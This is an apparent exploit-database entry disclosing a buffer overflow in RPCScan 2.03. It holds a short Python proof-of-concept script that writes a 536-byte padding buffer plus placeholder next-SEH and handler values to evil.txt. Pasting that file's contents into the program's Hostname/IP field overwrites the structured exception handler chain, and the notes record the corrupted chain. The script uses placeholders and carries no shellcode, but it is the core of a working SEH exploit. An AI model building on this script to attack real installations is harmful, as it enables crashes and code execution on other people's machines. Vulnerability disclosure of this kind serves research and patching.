发布 2016-05-09 漏洞条目

RPCScan 2.03 – Hostname/IP Field Overwrite (SEH) (PoC)

Exploit Source

#!/usr/bin/python

# Exploit Title : RPCScan v2.03 Hostname/IP Field SEH Overwrite POC

# Discovery by : Nipun Jaswal

# Email : mail@nipunjaswal.info

# Discovery Date : 08/05/2016

# Vendor Homepage : http://samspade.org

# Software Link : http://www.mcafee.com/in/downloads/free-tools/rpcscan.aspx#

# Tested Version : 2.03

# Vulnerability Type: SEH Overwrite POC

# Tested on OS : Windows 7 Home Basic

# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->

##########################################################################################

# -----------------------------------NOTES----------------------------------------------#

##########################################################################################

#SEH chain of main thread

#Address SE handler

#0012FAA0 43434343

#42424242 *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 536

buffer = "A"*536

# Address of the Next SEH Frame

nseh = "B"*4

# Address to the Handler Code, Generally P/P/R Address

seh = "C" *4

f = open("evil.txt", "wb")

f.write(buffer+nseh+seh)

f.close()

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